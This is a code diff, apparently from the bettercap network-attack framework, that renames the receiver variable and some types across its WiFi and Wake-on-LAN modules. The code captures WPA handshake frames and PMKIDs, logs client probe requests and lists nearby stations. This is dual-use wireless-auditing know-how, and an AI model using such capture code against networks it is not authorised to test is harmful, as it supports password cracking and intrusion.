// search for Dot11InformationElementIDSSID
|
// search for Dot11InformationElementIDSSID
|
||||||
if ok, ssid := packets.Dot11ParseIDSSID(packet); ok {
|
if ok, ssid := packets.Dot11ParseIDSSID(packet); ok {
|
||||||
from := dot11.Address3
|
from := dot11.Address3
|
||||||
|
|
||||||
// skip stuff we're sending
|
// skip stuff we're sending
|
||||||
if w.apRunning && bytes.Equal(from, w.apConfig.BSSID) {
|
if mod.apRunning && bytes.Equal(from, mod.apConfig.BSSID) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if !network.IsZeroMac(from) && !network.IsBroadcastMac(from) {
|
if !network.IsZeroMac(from) && !network.IsBroadcastMac(from) {
|
||||||
if int(radiotap.DBMAntennaSignal) >= w.minRSSI {
|
if int(radiotap.DBMAntennaSignal) >= mod.minRSSI {
|
||||||
var frequency int
|
var frequency int
|
||||||
bssid := from.String()
|
bssid := from.String()
|
||||||
|
|
||||||
|
@ -66,19 +66,19 @@ func (w *WiFiModule) discoverAccessPoints(radiotap *layers.RadioTap, dot11 *laye
|
||||||
frequency = int(radiotap.ChannelFrequency)
|
frequency = int(radiotap.ChannelFrequency)
|
||||||
}
|
}
|
||||||
|
|
||||||
if ap, isNew := w.Session.WiFi.AddIfNew(ssid, bssid, frequency, radiotap.DBMAntennaSignal); !isNew {
|
if ap, isNew := mod.Session.WiFi.AddIfNew(ssid, bssid, frequency, radiotap.DBMAntennaSignal); !isNew {
|
||||||
ap.EachClient(func(mac string, station *network.Station) {
|
ap.EachClient(func(mac string, station *network.Station) {
|
||||||
station.Handshake.SetBeacon(packet)
|
station.Handshake.SetBeacon(packet)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
w.Debug("skipping %s with %d dBm", from.String(), radiotap.DBMAntennaSignal)
|
mod.Debug("skipping %s with %d dBm", from.String(), radiotap.DBMAntennaSignal)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) discoverProbes(radiotap *layers.RadioTap, dot11 *layers.Dot11, packet gopacket.Packet) {
|
func (mod *WiFiModule) discoverProbes(radiotap *layers.RadioTap, dot11 *layers.Dot11, packet gopacket.Packet) {
|
||||||
if dot11.Type != layers.Dot11TypeMgmtProbeReq {
|
if dot11.Type != layers.Dot11TypeMgmtProbeReq {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
@ -107,17 +107,17 @@ func (w *WiFiModule) discoverProbes(radiotap *layers.RadioTap, dot11 *layers.Dot
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
w.Session.Events.Add("wifi.client.probe", WiFiProbeEvent{
|
mod.Session.Events.Add("wifi.client.probe", ProbeEvent{
|
||||||
FromAddr: dot11.Address2,
|
FromAddr: dot11.Address2,
|
||||||
FromVendor: network.ManufLookup(dot11.Address2.String()),
|
FromVendor: network.ManufLookup(dot11.Address2.String()),
|
||||||
FromAlias: w.Session.Lan.GetAlias(dot11.Address2.String()),
|
FromAlias: mod.Session.Lan.GetAlias(dot11.Address2.String()),
|
||||||
SSID: string(req.Contents[2 : 2+size]),
|
SSID: string(req.Contents[2 : 2+size]),
|
||||||
RSSI: radiotap.DBMAntennaSignal,
|
RSSI: radiotap.DBMAntennaSignal,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) discoverClients(radiotap *layers.RadioTap, dot11 *layers.Dot11, packet gopacket.Packet) {
|
func (mod *WiFiModule) discoverClients(radiotap *layers.RadioTap, dot11 *layers.Dot11, packet gopacket.Packet) {
|
||||||
w.Session.WiFi.EachAccessPoint(func(bssid string, ap *network.AccessPoint) {
|
mod.Session.WiFi.EachAccessPoint(func(bssid string, ap *network.AccessPoint) {
|
||||||
// packet going to this specific BSSID?
|
// packet going to this specific BSSID?
|
||||||
if packets.Dot11IsDataFor(dot11, ap.HW) {
|
if packets.Dot11IsDataFor(dot11, ap.HW) {
|
||||||
bssid := dot11.Address2.String()
|
bssid := dot11.Address2.String()
|
||||||
|
@ -125,7 +125,7 @@ func (w *WiFiModule) discoverClients(radiotap *layers.RadioTap, dot11 *layers.Do
|
||||||
rssi := radiotap.DBMAntennaSignal
|
rssi := radiotap.DBMAntennaSignal
|
||||||
|
|
||||||
if station, isNew := ap.AddClientIfNew(bssid, freq, rssi); isNew {
|
if station, isNew := ap.AddClientIfNew(bssid, freq, rssi); isNew {
|
||||||
w.Session.Events.Add("wifi.client.new", WiFiClientEvent{
|
mod.Session.Events.Add("wifi.client.new", ClientEvent{
|
||||||
AP: ap,
|
AP: ap,
|
||||||
Client: station,
|
Client: station,
|
||||||
})
|
})
|
||||||
|
@ -143,12 +143,12 @@ func allZeros(s []byte) bool {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers.Dot11, packet gopacket.Packet) {
|
func (mod *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers.Dot11, packet gopacket.Packet) {
|
||||||
if ok, key, apMac, staMac := packets.Dot11ParseEAPOL(packet, dot11); ok {
|
if ok, key, apMac, staMac := packets.Dot11ParseEAPOL(packet, dot11); ok {
|
||||||
// first, locate the AP in our list by its BSSID
|
// first, locate the AP in our list by its BSSID
|
||||||
ap, found := w.Session.WiFi.Get(apMac.String())
|
ap, found := mod.Session.WiFi.Get(apMac.String())
|
||||||
if !found {
|
if !found {
|
||||||
w.Warning("could not find AP with BSSID %s", apMac.String())
|
mod.Warning("could not find AP with BSSID %s", apMac.String())
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -158,7 +158,7 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
|
||||||
// (Reference about PMKID https://hashcat.net/forum/thread-7717.html)
|
// (Reference about PMKID https://hashcat.net/forum/thread-7717.html)
|
||||||
// In this case, we need to add ourselves as a client station of the AP
|
// In this case, we need to add ourselves as a client station of the AP
|
||||||
// in order to have a consistent association of AP, client and handshakes.
|
// in order to have a consistent association of AP, client and handshakes.
|
||||||
staIsUs := bytes.Equal(staMac, w.Session.Interface.HW)
|
staIsUs := bytes.Equal(staMac, mod.Session.Interface.HW)
|
||||||
station, found := ap.Get(staMac.String())
|
station, found := ap.Get(staMac.String())
|
||||||
if !found {
|
if !found {
|
||||||
station, _ = ap.AddClientIfNew(staMac.String(), ap.Frequency, ap.RSSI)
|
station, _ = ap.AddClientIfNew(staMac.String(), ap.Frequency, ap.RSSI)
|
||||||
|
@ -173,7 +173,7 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
|
||||||
PMKID = "with PMKID"
|
PMKID = "with PMKID"
|
||||||
}
|
}
|
||||||
|
|
||||||
w.Debug("got frame 1/4 of the %s <-> %s handshake (%s) (anonce:%x)",
|
mod.Debug("got frame 1/4 of the %s <-> %s handshake (%s) (anonce:%x)",
|
||||||
apMac,
|
apMac,
|
||||||
staMac,
|
staMac,
|
||||||
PMKID,
|
PMKID,
|
||||||
|
@ -182,7 +182,7 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
|
||||||
// [2] (MIC) client is sending SNonce+MIC to the API
|
// [2] (MIC) client is sending SNonce+MIC to the API
|
||||||
station.Handshake.AddFrame(1, packet)
|
station.Handshake.AddFrame(1, packet)
|
||||||
|
|
||||||
w.Debug("got frame 2/4 of the %s <-> %s handshake (snonce:%x mic:%x)",
|
mod.Debug("got frame 2/4 of the %s <-> %s handshake (snonce:%x mic:%x)",
|
||||||
apMac,
|
apMac,
|
||||||
staMac,
|
staMac,
|
||||||
key.Nonce,
|
key.Nonce,
|
||||||
|
@ -191,7 +191,7 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
|
||||||
// [3]: (INSTALL+ACK+MIC) AP informs the client that the PTK is installed
|
// [3]: (INSTALL+ACK+MIC) AP informs the client that the PTK is installed
|
||||||
station.Handshake.AddFrame(2, packet)
|
station.Handshake.AddFrame(2, packet)
|
||||||
|
|
||||||
w.Debug("got frame 3/4 of the %s <-> %s handshake (mic:%x)",
|
mod.Debug("got frame 3/4 of the %s <-> %s handshake (mic:%x)",
|
||||||
apMac,
|
apMac,
|
||||||
staMac,
|
staMac,
|
||||||
key.MIC)
|
key.MIC)
|
||||||
|
@ -200,18 +200,18 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers
|
||||||
// if we have unsaved packets as part of the handshake, save them.
|
// if we have unsaved packets as part of the handshake, save them.
|
||||||
numUnsaved := station.Handshake.NumUnsaved()
|
numUnsaved := station.Handshake.NumUnsaved()
|
||||||
doSave := numUnsaved > 0
|
doSave := numUnsaved > 0
|
||||||
if doSave && w.shakesFile != "" {
|
if doSave && mod.shakesFile != "" {
|
||||||
w.Debug("saving handshake frames to %s", w.shakesFile)
|
mod.Debug("saving handshake frames to %s", mod.shakesFile)
|
||||||
if err := w.Session.WiFi.SaveHandshakesTo(w.shakesFile, w.handle.LinkType()); err != nil {
|
if err := mod.Session.WiFi.SaveHandshakesTo(mod.shakesFile, mod.handle.LinkType()); err != nil {
|
||||||
w.Error("error while saving handshake frames to %s: %s", w.shakesFile, err)
|
mod.Error("error while saving handshake frames to %s: %s", mod.shakesFile, err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// if we had unsaved packets and either the handshake is complete
|
// if we had unsaved packets and either the handshake is complete
|
||||||
// or it contains the PMKID, generate a new event.
|
// or it contains the PMKID, generate a new event.
|
||||||
if doSave && (rawPMKID != nil || station.Handshake.Complete()) {
|
if doSave && (rawPMKID != nil || station.Handshake.Complete()) {
|
||||||
w.Session.Events.Add("wifi.client.handshake", WiFiHandshakeEvent{
|
mod.Session.Events.Add("wifi.client.handshake", HandshakeEvent{
|
||||||
File: w.shakesFile,
|
File: mod.shakesFile,
|
||||||
NewPackets: numUnsaved,
|
NewPackets: numUnsaved,
|
||||||
AP: apMac,
|
AP: apMac,
|
||||||
Station: staMac,
|
Station: staMac,
|
||||||
|
|
|
@ -8,7 +8,7 @@ import (
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/modules/discovery"
|
"github.com/bettercap/bettercap/modules/net_recon"
|
||||||
"github.com/bettercap/bettercap/network"
|
"github.com/bettercap/bettercap/network"
|
||||||
|
|
||||||
"github.com/dustin/go-humanize"
|
"github.com/dustin/go-humanize"
|
||||||
|
@ -17,11 +17,11 @@ import (
|
||||||
"github.com/evilsocket/islazy/tui"
|
"github.com/evilsocket/islazy/tui"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (w *WiFiModule) isApSelected() bool {
|
func (mod *WiFiModule) isApSelected() bool {
|
||||||
return w.ap != nil
|
return mod.ap != nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) getRow(station *network.Station) ([]string, bool) {
|
func (mod *WiFiModule) getRow(station *network.Station) ([]string, bool) {
|
||||||
// ref. https://www.metageek.com/training/resources/understanding-rssi-2.html
|
// ref. https://www.metageek.com/training/resources/understanding-rssi-2.html
|
||||||
rssi := fmt.Sprintf("%d dBm", station.RSSI)
|
rssi := fmt.Sprintf("%d dBm", station.RSSI)
|
||||||
if station.RSSI >= -67 {
|
if station.RSSI >= -67 {
|
||||||
|
@ -35,19 +35,19 @@ func (w *WiFiModule) getRow(station *network.Station) ([]string, bool) {
|
||||||
}
|
}
|
||||||
|
|
||||||
bssid := station.HwAddress
|
bssid := station.HwAddress
|
||||||
sinceStarted := time.Since(w.Session.StartedAt)
|
sinceStarted := time.Since(mod.Session.StartedAt)
|
||||||
sinceFirstSeen := time.Since(station.FirstSeen)
|
sinceFirstSeen := time.Since(station.FirstSeen)
|
||||||
if sinceStarted > (discovery.JustJoinedTimeInterval*2) && sinceFirstSeen <= discovery.JustJoinedTimeInterval {
|
if sinceStarted > (net_recon.JustJoinedTimeInterval*2) && sinceFirstSeen <= net_recon.JustJoinedTimeInterval {
|
||||||
// if endpoint was first seen in the last 10 seconds
|
// if endpoint was first seen in the last 10 seconds
|
||||||
bssid = tui.Bold(bssid)
|
bssid = tui.Bold(bssid)
|
||||||
}
|
}
|
||||||
|
|
||||||
seen := station.LastSeen.Format("15:04:05")
|
seen := station.LastSeen.Format("15:04:05")
|
||||||
sinceLastSeen := time.Since(station.LastSeen)
|
sinceLastSeen := time.Since(station.LastSeen)
|
||||||
if sinceStarted > discovery.AliveTimeInterval && sinceLastSeen <= discovery.AliveTimeInterval {
|
if sinceStarted > net_recon.AliveTimeInterval && sinceLastSeen <= net_recon.AliveTimeInterval {
|
||||||
// if endpoint seen in the last 10 seconds
|
// if endpoint seen in the last 10 seconds
|
||||||
seen = tui.Bold(seen)
|
seen = tui.Bold(seen)
|
||||||
} else if sinceLastSeen > discovery.PresentTimeInterval {
|
} else if sinceLastSeen > net_recon.PresentTimeInterval {
|
||||||
// if endpoint not seen in the last 60 seconds
|
// if endpoint not seen in the last 60 seconds
|
||||||
seen = tui.Dim(seen)
|
seen = tui.Dim(seen)
|
||||||
}
|
}
|
||||||
|
@ -67,7 +67,7 @@ func (w *WiFiModule) getRow(station *network.Station) ([]string, bool) {
|
||||||
// this is ugly, but necessary in order to have this
|
// this is ugly, but necessary in order to have this
|
||||||
// method handle both access point and clients
|
// method handle both access point and clients
|
||||||
// transparently
|
// transparently
|
||||||
if ap, found := w.Session.WiFi.Get(station.HwAddress); found && (ap.HasHandshakes() || ap.HasPMKID()) {
|
if ap, found := mod.Session.WiFi.Get(station.HwAddress); found && (ap.HasHandshakes() || ap.HasPMKID()) {
|
||||||
encryption = tui.Red(encryption)
|
encryption = tui.Red(encryption)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -76,8 +76,8 @@ func (w *WiFiModule) getRow(station *network.Station) ([]string, bool) {
|
||||||
recvd := ops.Ternary(station.Received > 0, humanize.Bytes(station.Received), "").(string)
|
recvd := ops.Ternary(station.Received > 0, humanize.Bytes(station.Received), "").(string)
|
||||||
|
|
||||||
include := false
|
include := false
|
||||||
if w.source == "" {
|
if mod.source == "" {
|
||||||
for _, frequencies := range w.frequencies {
|
for _, frequencies := range mod.frequencies {
|
||||||
if frequencies == station.Frequency {
|
if frequencies == station.Frequency {
|
||||||
include = true
|
include = true
|
||||||
break
|
break
|
||||||
|
@ -87,11 +87,11 @@ func (w *WiFiModule) getRow(station *network.Station) ([]string, bool) {
|
||||||
include = true
|
include = true
|
||||||
}
|
}
|
||||||
|
|
||||||
if int(station.RSSI) < w.minRSSI {
|
if int(station.RSSI) < mod.minRSSI {
|
||||||
include = false
|
include = false
|
||||||
}
|
}
|
||||||
|
|
||||||
if w.isApSelected() {
|
if mod.isApSelected() {
|
||||||
return []string{
|
return []string{
|
||||||
rssi,
|
rssi,
|
||||||
bssid,
|
bssid,
|
||||||
|
@ -105,7 +105,7 @@ func (w *WiFiModule) getRow(station *network.Station) ([]string, bool) {
|
||||||
// method handle both access point and clients
|
// method handle both access point and clients
|
||||||
// transparently
|
// transparently
|
||||||
clients := ""
|
clients := ""
|
||||||
if ap, found := w.Session.WiFi.Get(station.HwAddress); found {
|
if ap, found := mod.Session.WiFi.Get(station.HwAddress); found {
|
||||||
if ap.NumClients() > 0 {
|
if ap.NumClients() > 0 {
|
||||||
clients = strconv.Itoa(ap.NumClients())
|
clients = strconv.Itoa(ap.NumClients())
|
||||||
}
|
}
|
||||||
|
@ -143,43 +143,43 @@ func (w *WiFiModule) getRow(station *network.Station) ([]string, bool) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) doFilter(station *network.Station) bool {
|
func (mod *WiFiModule) doFilter(station *network.Station) bool {
|
||||||
if w.selector.Expression == nil {
|
if mod.selector.Expression == nil {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
return w.selector.Expression.MatchString(station.BSSID()) ||
|
return mod.selector.Expression.MatchString(station.BSSID()) ||
|
||||||
w.selector.Expression.MatchString(station.ESSID()) ||
|
mod.selector.Expression.MatchString(station.ESSID()) ||
|
||||||
w.selector.Expression.MatchString(station.Alias) ||
|
mod.selector.Expression.MatchString(station.Alias) ||
|
||||||
w.selector.Expression.MatchString(station.Vendor) ||
|
mod.selector.Expression.MatchString(station.Vendor) ||
|
||||||
w.selector.Expression.MatchString(station.Encryption)
|
mod.selector.Expression.MatchString(station.Encryption)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) doSelection() (err error, stations []*network.Station) {
|
func (mod *WiFiModule) doSelection() (err error, stations []*network.Station) {
|
||||||
if err = w.selector.Update(); err != nil {
|
if err = mod.selector.Update(); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
apSelected := w.isApSelected()
|
apSelected := mod.isApSelected()
|
||||||
if apSelected {
|
if apSelected {
|
||||||
if ap, found := w.Session.WiFi.Get(w.ap.HwAddress); found {
|
if ap, found := mod.Session.WiFi.Get(mod.ap.HwAddress); found {
|
||||||
stations = ap.Clients()
|
stations = ap.Clients()
|
||||||
} else {
|
} else {
|
||||||
err = fmt.Errorf("Could not find station %s", w.ap.HwAddress)
|
err = fmt.Errorf("Could not find station %s", mod.ap.HwAddress)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
stations = w.Session.WiFi.Stations()
|
stations = mod.Session.WiFi.Stations()
|
||||||
}
|
}
|
||||||
|
|
||||||
filtered := []*network.Station{}
|
filtered := []*network.Station{}
|
||||||
for _, station := range stations {
|
for _, station := range stations {
|
||||||
if w.doFilter(station) {
|
if mod.doFilter(station) {
|
||||||
filtered = append(filtered, station)
|
filtered = append(filtered, station)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
stations = filtered
|
stations = filtered
|
||||||
|
|
||||||
switch w.selector.SortField {
|
switch mod.selector.SortField {
|
||||||
case "seen":
|
case "seen":
|
||||||
sort.Sort(ByWiFiSeenSorter(stations))
|
sort.Sort(ByWiFiSeenSorter(stations))
|
||||||
case "essid":
|
case "essid":
|
||||||
|
@ -203,7 +203,7 @@ func (w *WiFiModule) doSelection() (err error, stations []*network.Station) {
|
||||||
}
|
}
|
||||||
|
|
||||||
// default is asc
|
// default is asc
|
||||||
if w.selector.Sort == "desc" {
|
if mod.selector.Sort == "desc" {
|
||||||
// from https://github.com/golang/go/wiki/SliceTricks
|
// from https://github.com/golang/go/wiki/SliceTricks
|
||||||
for i := len(stations)/2 - 1; i >= 0; i-- {
|
for i := len(stations)/2 - 1; i >= 0; i-- {
|
||||||
opp := len(stations) - 1 - i
|
opp := len(stations) - 1 - i
|
||||||
|
@ -211,8 +211,8 @@ func (w *WiFiModule) doSelection() (err error, stations []*network.Station) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if w.selector.Limit > 0 {
|
if mod.selector.Limit > 0 {
|
||||||
limit := w.selector.Limit
|
limit := mod.selector.Limit
|
||||||
max := len(stations)
|
max := len(stations)
|
||||||
if limit > max {
|
if limit > max {
|
||||||
limit = max
|
limit = max
|
||||||
|
@ -223,7 +223,7 @@ func (w *WiFiModule) doSelection() (err error, stations []*network.Station) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) colDecorate(colNames []string, name string, dir string) {
|
func (mod *WiFiModule) colDecorate(colNames []string, name string, dir string) {
|
||||||
for i, c := range colNames {
|
for i, c := range colNames {
|
||||||
if c == name {
|
if c == name {
|
||||||
colNames[i] += " " + dir
|
colNames[i] += " " + dir
|
||||||
|
@ -232,101 +232,101 @@ func (w *WiFiModule) colDecorate(colNames []string, name string, dir string) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) colNames(nrows int) []string {
|
func (mod *WiFiModule) colNames(nrows int) []string {
|
||||||
columns := []string(nil)
|
columns := []string(nil)
|
||||||
|
|
||||||
if !w.isApSelected() {
|
if !mod.isApSelected() {
|
||||||
columns = []string{"RSSI", "BSSID", "SSID", "Encryption", "WPS", "Ch", "Clients", "Sent", "Recvd", "Seen"}
|
columns = []string{"RSSI", "BSSID", "SSID", "Encryption", "WPS", "Ch", "Clients", "Sent", "Recvd", "Seen"}
|
||||||
} else if nrows > 0 {
|
} else if nrows > 0 {
|
||||||
columns = []string{"RSSI", "BSSID", "Ch", "Sent", "Recvd", "Seen"}
|
columns = []string{"RSSI", "BSSID", "Ch", "Sent", "Recvd", "Seen"}
|
||||||
fmt.Printf("\n%s clients:\n", w.ap.HwAddress)
|
fmt.Printf("\n%s clients:\n", mod.ap.HwAddress)
|
||||||
} else {
|
} else {
|
||||||
fmt.Printf("\nNo authenticated clients detected for %s.\n", w.ap.HwAddress)
|
fmt.Printf("\nNo authenticated clients detected for %s.\n", mod.ap.HwAddress)
|
||||||
}
|
}
|
||||||
|
|
||||||
if columns != nil {
|
if columns != nil {
|
||||||
switch w.selector.SortField {
|
switch mod.selector.SortField {
|
||||||
case "seen":
|
case "seen":
|
||||||
w.colDecorate(columns, "Seen", w.selector.SortSymbol)
|
mod.colDecorate(columns, "Seen", mod.selector.SortSymbol)
|
||||||
case "essid":
|
case "essid":
|
||||||
w.colDecorate(columns, "SSID", w.selector.SortSymbol)
|
mod.colDecorate(columns, "SSID", mod.selector.SortSymbol)
|
||||||
case "bssid":
|
case "bssid":
|
||||||
w.colDecorate(columns, "BSSID", w.selector.SortSymbol)
|
mod.colDecorate(columns, "BSSID", mod.selector.SortSymbol)
|
||||||
case "channel":
|
case "channel":
|
||||||
w.colDecorate(columns, "Ch", w.selector.SortSymbol)
|
mod.colDecorate(columns, "Ch", mod.selector.SortSymbol)
|
||||||
case "clients":
|
case "clients":
|
||||||
w.colDecorate(columns, "Clients", w.selector.SortSymbol)
|
mod.colDecorate(columns, "Clients", mod.selector.SortSymbol)
|
||||||
case "encryption":
|
case "encryption":
|
||||||
w.colDecorate(columns, "Encryption", w.selector.SortSymbol)
|
mod.colDecorate(columns, "Encryption", mod.selector.SortSymbol)
|
||||||
case "sent":
|
case "sent":
|
||||||
w.colDecorate(columns, "Sent", w.selector.SortSymbol)
|
mod.colDecorate(columns, "Sent", mod.selector.SortSymbol)
|
||||||
case "rcvd":
|
case "rcvd":
|
||||||
w.colDecorate(columns, "Recvd", w.selector.SortSymbol)
|
mod.colDecorate(columns, "Recvd", mod.selector.SortSymbol)
|
||||||
case "rssi":
|
case "rssi":
|
||||||
w.colDecorate(columns, "RSSI", w.selector.SortSymbol)
|
mod.colDecorate(columns, "RSSI", mod.selector.SortSymbol)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return columns
|
return columns
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) showStatusBar() {
|
func (mod *WiFiModule) showStatusBar() {
|
||||||
w.Session.Queue.Stats.RLock()
|
mod.Session.Queue.Stats.RLock()
|
||||||
defer w.Session.Queue.Stats.RUnlock()
|
defer mod.Session.Queue.Stats.RUnlock()
|
||||||
|
|
||||||
parts := []string{
|
parts := []string{
|
||||||
fmt.Sprintf("%s (ch. %d)", w.Session.Interface.Name(), network.GetInterfaceChannel(w.Session.Interface.Name())),
|
fmt.Sprintf("%s (ch. %d)", mod.Session.Interface.Name(), network.GetInterfaceChannel(mod.Session.Interface.Name())),
|
||||||
fmt.Sprintf("%s %s", tui.Red("↑"), humanize.Bytes(w.Session.Queue.Stats.Sent)),
|
fmt.Sprintf("%s %s", tui.Red("↑"), humanize.Bytes(mod.Session.Queue.Stats.Sent)),
|
||||||
fmt.Sprintf("%s %s", tui.Green("↓"), humanize.Bytes(w.Session.Queue.Stats.Received)),
|
fmt.Sprintf("%s %s", tui.Green("↓"), humanize.Bytes(mod.Session.Queue.Stats.Received)),
|
||||||
fmt.Sprintf("%d pkts", w.Session.Queue.Stats.PktReceived),
|
fmt.Sprintf("%d pkts", mod.Session.Queue.Stats.PktReceived),
|
||||||
}
|
}
|
||||||
|
|
||||||
if nErrors := w.Session.Queue.Stats.Errors; nErrors > 0 {
|
if nErrors := mod.Session.Queue.Stats.Errors; nErrors > 0 {
|
||||||
parts = append(parts, fmt.Sprintf("%d errs", nErrors))
|
parts = append(parts, fmt.Sprintf("%d errs", nErrors))
|
||||||
}
|
}
|
||||||
|
|
||||||
if nHandshakes := w.Session.WiFi.NumHandshakes(); nHandshakes > 0 {
|
if nHandshakes := mod.Session.WiFi.NumHandshakes(); nHandshakes > 0 {
|
||||||
parts = append(parts, fmt.Sprintf("%d handshakes", nHandshakes))
|
parts = append(parts, fmt.Sprintf("%d handshakes", nHandshakes))
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Printf("\n%s\n\n", strings.Join(parts, " / "))
|
fmt.Printf("\n%s\n\n", strings.Join(parts, " / "))
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) Show() (err error) {
|
func (mod *WiFiModule) Show() (err error) {
|
||||||
var stations []*network.Station
|
var stations []*network.Station
|
||||||
if err, stations = w.doSelection(); err != nil {
|
if err, stations = mod.doSelection(); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
rows := make([][]string, 0)
|
rows := make([][]string, 0)
|
||||||
for _, s := range stations {
|
for _, s := range stations {
|
||||||
if row, include := w.getRow(s); include {
|
if row, include := mod.getRow(s); include {
|
||||||
rows = append(rows, row)
|
rows = append(rows, row)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
nrows := len(rows)
|
nrows := len(rows)
|
||||||
if nrows > 0 {
|
if nrows > 0 {
|
||||||
tui.Table(os.Stdout, w.colNames(nrows), rows)
|
tui.Table(os.Stdout, mod.colNames(nrows), rows)
|
||||||
}
|
}
|
||||||
|
|
||||||
w.showStatusBar()
|
mod.showStatusBar()
|
||||||
|
|
||||||
w.Session.Refresh()
|
mod.Session.Refresh()
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WiFiModule) ShowWPS(bssid string) (err error) {
|
func (mod *WiFiModule) ShowWPS(bssid string) (err error) {
|
||||||
toShow := []*network.Station{}
|
toShow := []*network.Station{}
|
||||||
|
|
||||||
if bssid == network.BroadcastMac {
|
if bssid == network.BroadcastMac {
|
||||||
for _, station := range w.Session.WiFi.List() {
|
for _, station := range mod.Session.WiFi.List() {
|
||||||
if station.HasWPS() {
|
if station.HasWPS() {
|
||||||
toShow = append(toShow, station.Station)
|
toShow = append(toShow, station.Station)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
if station, found := w.Session.WiFi.Get(bssid); found {
|
if station, found := mod.Session.WiFi.Get(bssid); found {
|
||||||
if station.HasWPS() {
|
if station.HasWPS() {
|
||||||
toShow = append(toShow, station.Station)
|
toShow = append(toShow, station.Station)
|
||||||
}
|
}
|
||||||
|
|
|
@ -23,31 +23,31 @@ type WOL struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewWOL(s *session.Session) *WOL {
|
func NewWOL(s *session.Session) *WOL {
|
||||||
w := &WOL{
|
mod := &WOL{
|
||||||
SessionModule: session.NewSessionModule("wol", s),
|
SessionModule: session.NewSessionModule("wol", s),
|
||||||
}
|
}
|
||||||
|
|
||||||
w.AddHandler(session.NewModuleHandler("wol.eth MAC", "wol.eth(\\s.+)?",
|
mod.AddHandler(session.NewModuleHandler("wol.eth MAC", "wol.eth(\\s.+)?",
|
||||||
"Send a WOL as a raw ethernet packet of type 0x0847 (if no MAC is specified, ff:ff:ff:ff:ff:ff will be used).",
|
"Send a WOL as a raw ethernet packet of type 0x0847 (if no MAC is specified, ff:ff:ff:ff:ff:ff will be used).",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
if mac, err := parseMAC(args); err != nil {
|
if mac, err := parseMAC(args); err != nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
return w.wolETH(mac)
|
return mod.wolETH(mac)
|
||||||
}
|
}
|
||||||
}))
|
}))
|
||||||
|
|
||||||
w.AddHandler(session.NewModuleHandler("wol.udp MAC", "wol.udp(\\s.+)?",
|
mod.AddHandler(session.NewModuleHandler("wol.udp MAC", "wol.udp(\\s.+)?",
|
||||||
"Send a WOL as an IPv4 broadcast packet to UDP port 9 (if no MAC is specified, ff:ff:ff:ff:ff:ff will be used).",
|
"Send a WOL as an IPv4 broadcast packet to UDP port 9 (if no MAC is specified, ff:ff:ff:ff:ff:ff will be used).",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
if mac, err := parseMAC(args); err != nil {
|
if mac, err := parseMAC(args); err != nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
return w.wolUDP(mac)
|
return mod.wolUDP(mac)
|
||||||
}
|
}
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return w
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func parseMAC(args []string) (string, error) {
|
func parseMAC(args []string) (string, error) {
|
||||||
|
@ -66,27 +66,27 @@ func parseMAC(args []string) (string, error) {
|
||||||
return mac, nil
|
return mac, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WOL) Name() string {
|
func (mod *WOL) Name() string {
|
||||||
return "wol"
|
return "wol"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WOL) Description() string {
|
func (mod *WOL) Description() string {
|
||||||
return "A module to send Wake On LAN packets in broadcast or to a specific MAC."
|
return "A module to send Wake On LAN packets in broadcast or to a specific MAC."
|
||||||
}
|
}
|
